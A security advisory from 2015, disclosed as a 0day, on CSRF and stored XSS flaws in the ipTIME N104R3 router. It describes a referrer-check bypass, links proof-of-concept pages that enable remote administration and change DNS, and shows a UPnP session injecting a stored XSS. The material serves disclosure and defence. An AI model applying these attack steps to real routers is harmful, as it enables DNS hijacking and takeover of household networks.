-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: iptime n104r3 vulnerable to CSRF and XSS attacks Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x01.txt Blog URL: https://pierrekim.github.io/blog/2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html Date published: 2015-07-03 Vendors contacted: None Release mode: Released, 0day CVE: no current CVE ## Product Description EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea with millions of devices deployed in the country. EFMNetworks ipTIME is occupying more than 60 percent of personal network devices. ## Vulnerability Summary The ipTIME n104r3 is a wireless LAN router. Its current firmware (9.58) with default configuration is vulnerable to CSRF-attacks and XSS attacks. Since, its anti-CSRF protection is based on a static HTTP referrer (RFC 1945), an attacker can take over most of the configuration and settings using anyone inside the LAN of the router. Owners are urged to contact ipTIME, and activate authentication on this product (disabled by default). Due to the fact the firmware seems to be used on several products, it is highly likely that other products of ipTIME are vulnerable. The probability that the N104T is also vulnerable is very high but I don't have possibility to test the exploits against live ipTIME N104T routers. ## Details - CSRF The HTTP interface allows to edit the configuration. This interface is vulnerable to CSRF. Configuration and settings can be modified with CSRF attacks: - Activate the remote control management - Change the DNS configuration - Update the firmware - Change the Wifi Configuration - Create TCP redirections to the LAN - and more... Example of forms exploiting the CSRF: o Activating the remote control management on port 31337/tcp listening on the WAN interface.
o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1: The variable GO is an open redirect. Any URL like http://www.google.com/ for instance can be used. The variable GO is also vulnerable to XSS. It's out of scope in this advisory. To bypass the protection (which checks the refer), you can, for example, base64 the form and include it in the webpage. The refer will be empty and the CSRF will be accepted by the device: o activate_admin_wan_csrf_bypass.html: Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate the remote management interface on port 31337/TCP. You can test it through http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-change_dns_csrf_bypass.html o change_dns_csrf_bypass.html: Visiting activate_admin_wan_csrf_bypass.html in a remote location will change the DNS servers provided by the ipTIME device in the LAN. You can test it through http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-activate_admin_wan_csrf_bypass.html ## Details - stored XSS and fun There is a stored XSS, which can be injected using UPNP from the LAN, without authentication: upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping Required argument: Argument Name: NewPortMappingDescription Data Type: string Allowed Values: [] Set NewPortMappingDescription value to: Required argument: Argument Name: NewLeaseDuration Data Type: ui4 Allowed Values: [] Set NewLeaseDuration value to: 0 Required argument: Argument Name: NewInternalClient Data Type: string Allowed Values: [] Set NewInternalClient value to: Required argument: Argument Name: NewEnabled Data Type: boolean Allowed Values: [] Set NewEnabled value to: 1 Required argument: Argument Name: NewExternalPort Data Type: ui2 Allowed Values: [] Set NewExternalPort value to: 80 Required argument: Argument Name: NewRemoteHost Data Type: string Allowed Values: [] Set NewRemoteHost value to: Required argument: Argument Name: NewProtocol Data Type: string Allowed Values: ['TCP', 'UDP'] Set NewProtocol value to: TCP Required argument: Argument Name: NewInternalPort Data Type: ui2 Allowed Values: [] Set NewInternalPort value to: 80 upnp> The UPNP webpage in the administration area (http://192.168.0.1/popup_upnp_portmap.html) will show: [...]